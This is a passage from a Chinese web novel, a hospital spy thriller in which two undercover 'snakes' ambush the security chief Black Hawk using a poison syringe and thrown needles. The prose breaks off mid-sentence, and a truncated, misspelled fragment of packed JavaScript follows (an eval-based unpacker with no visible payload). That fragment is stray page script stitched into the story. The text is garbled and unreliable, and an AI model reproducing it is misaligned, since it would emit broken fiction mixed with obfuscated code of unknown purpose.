他故意停顿了一下,像是在为接下来的话蓄力,每一个字都吐得清晰无比,如同在念一份沉重的讣告:
“她也是。”
轰——!!!
黑鹰只觉得自己的脑子像是被一连串的板砖狠狠拍过,稀里糊涂,彻底懵了!他难以置信地瞪大了那双牛一样的眼睛,看看眼前这个平日里总是温文尔雅、一副人模狗样的外科室长,又拼命在脑海里调取那个在办公室里哭得梨花带雨、演技堪比奥斯卡影后的年轻女医生的影像!
山蝰……是蛇?!
钟妍妍……也是蛇?!
这他妈怎么可能?!他潜伏了这么久,仗着保安主管的身份在医院里四处溜达、暗中观察,几乎把地皮都翻过来了似的找那份名单,合着两条活生生的“毒蛇”就在自己眼皮子底下晃来晃去,他居然跟个睁眼瞎似的,一点都没发现?!
“你就是蛇!”黑鹰下意识地吼了一嗓子,声音里却带着点自己都没察觉到的破音,还有一丝难以言喻的心虚。如果这一切都是真的,那他这些年的潜伏,处心积虑的调查,所有的行动,岂不成了一个天大的笑话?!别说完成任务了,连年终总结都没法写,简直是耻辱!
“没什么不可能的。”山蝰冷漠地看着他,眼神就像在看实验室里那个已经失败了一百次、毫无价值的培养皿,“你以为名单上记的就是全部?毒蛇最擅长的就是隐藏,以及利用周遭的环境伪装自己。你看到的,顶多算个浮在水面上的鱼漂,根本不值一提。这座医院里的蛇,你一条也没真正揪出来过……所以,黑鹰,别在那儿自我感觉良好了,你差得远呢。”
他的话像一套迅猛凌厉的组合拳,拳拳到肉,彻底把黑鹰那点可怜的心理优势砸得稀巴烂!那种自以为掌控全局的幻觉瞬间破灭,取而代之的是被当成猴子耍得团团转的巨大羞辱感,以及一股“原来小丑竟是我自己”的透心凉,从头顶一直凉到了脚底板!
而就在这当口,蜷缩在角落、一直装死的小金环蛇,眼看黑鹰被这接二连三的惊天大瓜砸得魂飞魄散,所有的注意力完全被山蝰吸引了过去,眼中猛地闪过一丝“机会来了!”的寒光,那光芒里藏着孤注一掷的决绝!
就是现在!
她一直紧紧攥在左手、藏在袖口深处、当成最后保命底牌的备用“毒牙”微型注射器,被她用尽了全身最后一丝力气,猛地朝着黑鹰甩了出去!目标不是黑鹰的心脏、咽喉这些致命要害,而是他那只刚才被自己“手动错位”、此刻还软塌塌地耷拉着像个摆设的左手手腕!
这一下动作,做得悄无声息,快得只在空气中留下一道模糊的残影,几乎让人反应不过来!
“呃啊!”黑鹰猝不及防,左手腕突然传来一阵尖锐的刺痛,那痛感如同被蜂针狠狠蛰了一下,紧接着,一股强烈的麻痹感像电流一样,顺着胳膊就疯狂地窜了上来,瞬间蔓延到了半边身子!他又惊又怒,猛地扭过头,双眼赤红地瞪向小金环蛇,眼神像是要喷出火来,恨不得将她生吞活剥!
几乎在同一时间,山蝰也动了!他没有选择近身肉搏(估计是觉得那样不够优雅,有失身份),而是手腕轻轻一翻,指缝间不知何时已经夹住了几根细如牛毛、在这昏暗的光线下几乎隐形的银针!他手臂一扬,银针带着细微的“嗖嗖”破空声,如同出膛的子弹,精准地射向黑鹰的双眼和咽喉!
狠辣!精准!毫不拖泥带水!
这才是“山蝰”真正的杀手锏,是他隐藏在温文尔雅外表下的致命獠牙!
黑鹰反应也算迅速,右手慌忙挥舞起手中的短棍,“铛”的一声磕飞了射向眼睛的银针,同时脑袋猛地向旁边一偏,险之又险地躲开了射向喉咙的那根!但他的左手因为麻痹感已经完全抬不起来,整个动作瞬间露出了一个巨大的破绽,像是一道敞开的大门,暴露在了对手面前!
“动手!”山蝰对着小金环蛇低喝一声,言简意赅,却带着不容置疑的命令意味。
无需更多废话,在共同的敌人(而且是刚刚还在疯狂嘲讽他们的敌人)面前,这两条原本互相提防、各怀鬼胎的“毒蛇”,瞬间达成了“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}]